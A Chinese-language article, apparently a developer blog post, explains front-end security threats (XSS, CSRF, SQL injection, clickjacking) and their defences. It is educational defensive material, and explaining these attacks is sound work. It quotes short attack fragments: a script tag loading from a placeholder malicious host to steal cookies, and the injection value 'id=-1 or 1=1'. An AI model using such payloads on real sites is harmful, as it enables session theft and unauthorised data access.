随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。最近梳理了常见的前端安全问题以及对应的解决方案,希望可以帮助大家在日常开发中不断预防和修复安全漏洞。
XSS,跨站脚本攻击(Cross Site Scripting)
XSS 攻击指的是跨站脚本攻击,是一种代码注入攻击。攻击者通过在网站注入恶意脚本,使之在用户的浏览器上运行,从而盗取用户的信息如 cookie 等。XSS 的本质是因为网站没有对恶意代码进行过滤,与正常的代码混合在一起了,浏览器没有办 法分辨哪些脚本是可信的,从而导致了恶意代码的执行。
XSS攻击类型
XSS 一般分为存储型、反射型和 DOM 型。
存储型
存储型指的是恶意代码提交到了网站的数据库中,当用户请求数据的时候,服务器将其拼接为HTML 后返回给了用户,从而导致了恶意代码的执行。比如在input, textarea等所有可能输入文本信息的区域,输入<script src="http://恶意网站"></script>等,提交后信息会存在服务器中,当用户再次打开网站请求到相应的数据,打开页面,恶意脚本就会将用户的 Cookie 信息等数据上传到黑客服务器。
反射型
反射型指的是攻击者构建了特殊的 URL,当服务器接收到请求后,从 URL 中获取数据,拼接到HTML 后返回,从而导致了恶意代码的执行。在现实生活中,黑客经常会通过 QQ 群或者邮件等渠道诱导用户去点击这些恶意链接,所以对于一些链接我们一定要慎之又慎。 注意:Web 服务器不会存储反射型 XSS 攻击的恶意脚本,这是和存储型 XSS 攻击的区别。
DOM型
DOM 型指的是攻击者构建了特殊的 URL,用户打开网站后,js 脚本从 URL 中获取数据,从而导致了恶意代码的执行。基于 DOM 的 XSS 攻击是不牵涉到页面 Web 服务器的。它的特点是在 Web 资源传输过程或者在用户使用页面的过程中修改 Web 页面的数据。比如利用工具(如Burpsuite)扫描目标网站所有的网页并自动测试写好的注入脚本等。
XSS 攻击防范方法
XSS 攻击的预防可以从两个方面入手,一个是恶意代码提交的时候,一个是浏览器执行恶意代码的时候。
对于第一个方面,如果我们对存入数据库的数据都进行的转义处理,但是一个数据可能在多个地方使用,有的地方可能不需要转义,由于我们没有办法判断数据最后的使用场景,所以直接在输入端进行恶意代码的处理,其实是不太可靠的。
因此我们可以从浏览器的执行来进行预防,一种是使用纯前端的方式,不用服务器端拼接后返回。 另一种是对需要插入到 HTML 中的代码做好充分的转义。对于 DOM 型的攻击,主要是前端脚本 的不可靠而造成的,我们对于数据获取渲染和字符串拼接的时候应该对可能出现的恶意代码情况 进行判断。
具体措施如下:
1.前后端过滤敏感字符:比如 &、<、>、"、'、/ 等字符
2.cookie等敏感信息使用 httponly ,使得脚本无法通过document.cookie获得
3.在使用 .innerHTML、.outerHTML、document.write()时要特别小心
4.使用CSP,即内容安全策略。CSP 的本质是建立一个白名单,告诉浏览器哪些外部资源可以加载和执行,从而防止恶意代码的注入攻击
5.使用验证码,避免脚本伪装成用户执行一些操作。
CSRF,跨站请求伪造(Cross-site request forgery)
CSRF 攻击指的是跨站请求伪造攻击,攻击者诱导用户进入一个第三方网站,然后该网站向被攻击网站发送跨站请求。如果用户在被攻击网站中保存了登录状态,那么攻击者就可以利用这个登录状态,绕过后台的用户验证,冒充用户向服务器执行一些操作。
发起 CSRF 攻击的三个必要条件:
1.目标站点一定要有 CSRF 漏洞
2.用户要登录过目标站点,并且在浏览器上保持有该站点的登录状态
3.需要用户打开一个第三方站点,如黑客的站点等
CSRF 攻击的类型
1.GET 类型的 CSRF 攻击,比如在网站中的一个 img 标签里构建一个请求,当用户打开这个网站的时候就会自动发起提交。
2.POST 类型的 CSRF 攻击,比如说构建一个表单,然后隐藏它,当用户进入页面时,自动提交这个表单。
3.链接类型的 CSRF 攻击,比如说在 a 标签的 href 属性里构建一个请求,然后诱导用户去点击。
CSRF 攻击防范方法
同源检测
服务器根据 http 请求头中 origin 或者 referer 信息来判断请求是否为允许访问的站点,从而对请求进行过滤。当 origin 或者 referer 信息都不存在的时候,直接阻止。这种方式的缺点是有些情况下 referer 可以被伪造。还有就是我们这种方法同时把搜索引擎的链接也给屏蔽了,所以一般网站会允许搜索引擎的页面请求,但是相应的页面请求这种请求方式也可能被攻击者给利用。
使用 CSRF Token 来进行验证
服务器向用户返回一个随机数 Token ,当网站再次发起请求时,在请求参数中加入服务器端返回的 token ,然后服务器对这个 token 进行验证。这种方法解决了使用 cookie 单一验证方式时,可能会被冒用的问题,但是这种方法存在一个缺点就是,我们需要给网站中的所有请求都添加上这个 token,操作比较繁琐。还有一个问题是一般不会只有一台网站服务器,如果我们的请求经过负载平衡转移到了其他的服务器,但是这个服务器的 session 中没有保留这个 token 的话,就没有办法验证了。这种情况我们可以通过改变 token 的构建方式来解决。
使用双重 Cookie 验证
服务器在用户访问网站页面时,向请求域名注入一个 Cookie,内容为随机字符串,然后当用户再次向服务器发送请求的时候,从 cookie 中取出这个字符串,添加到 URL 参数中,然后服务器通过对 cookie 中的数据和参数中的数据进行比较,来进行验证。使用这种方式是利用了攻击者只能利用 cookie,但是不能访问获取 cookie的特点。并且这种方法比 CSRF Token 的方法更加方便,并且不涉及到分布式访问的问题。这种方法的缺点是如果网站存在 XSS 漏洞的,那么这种方式会失效。同时这种方式不能做到子域名的隔离。
设置 Samesite 属性
使用在设置 cookie 属性的时候设置 Samesite ,限制 cookie 不能作为被第三方使用,从而可以避免被攻击者利用。Samesite 一共有两种模式,一种是严格模式,在严格模式下 cookie 在任何情况下都不可能作为第三方 Cookie 使用,在宽松模式下,cookie 可以被请求是 GET 请求,且会发生页面跳转的请求所使用。
SQL注入
SQL注入是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。拼接 SQL 时未仔细过滤,黑客可提交畸形数据改变语义。比如查某个文章,提交了这样的数据id=-1 or 1=1等。1=1 永远是true,导致where语句永远是ture.那么查询的结果相当于整张表的内容,攻击者就达到了目的。或者,通过屏幕上的报错提示推测 SQL 语句等。
SQL注入的必备条件
1.可以控制输入的数据
2.服务器要执行的代码拼接了控制的数据。
SQL注入防范方法
1.禁止目标网站利用动态拼接字符串的方式访问数据库
2.减少不必要的数据库抛出的错误信息
3.对数据库的操作赋予严格的权限控制
4.净化和过滤掉不必要的SQL保留字,比如:where, or, exec 等
点击劫持
点击劫持是一种视觉欺骗的攻击手段。攻击者将需要攻击的网站通过 iframe 嵌套的方式嵌入自己的网页中,并将 iframe 设置为透明,在页面中透出一个按钮诱导用户点击。
比如:用户在登陆 A 网站的系统后,被攻击者诱惑打开第三方网站,而第三方网站通过 iframe 引入了 A 网站的页面内容,用户在第三方网站中点击某个按钮(被装饰的按钮),实际上是点击了 A 网站的按钮。
点击劫持防范方法
1.服务端添加 X-Frame-Options 响应头,这个 HTTP 响应头是为了防御用 iframe 嵌套的点击劫持攻击。这样浏览器就会阻止嵌入网页的渲染2.JS 判断顶层视口的域名是不是和本页面的域名一致,不一致则不允许操作,top.location.hostname === self.location.hostname3.敏感操作使用更复杂的步骤(验证码、输入项目名称以删除)### 参考资料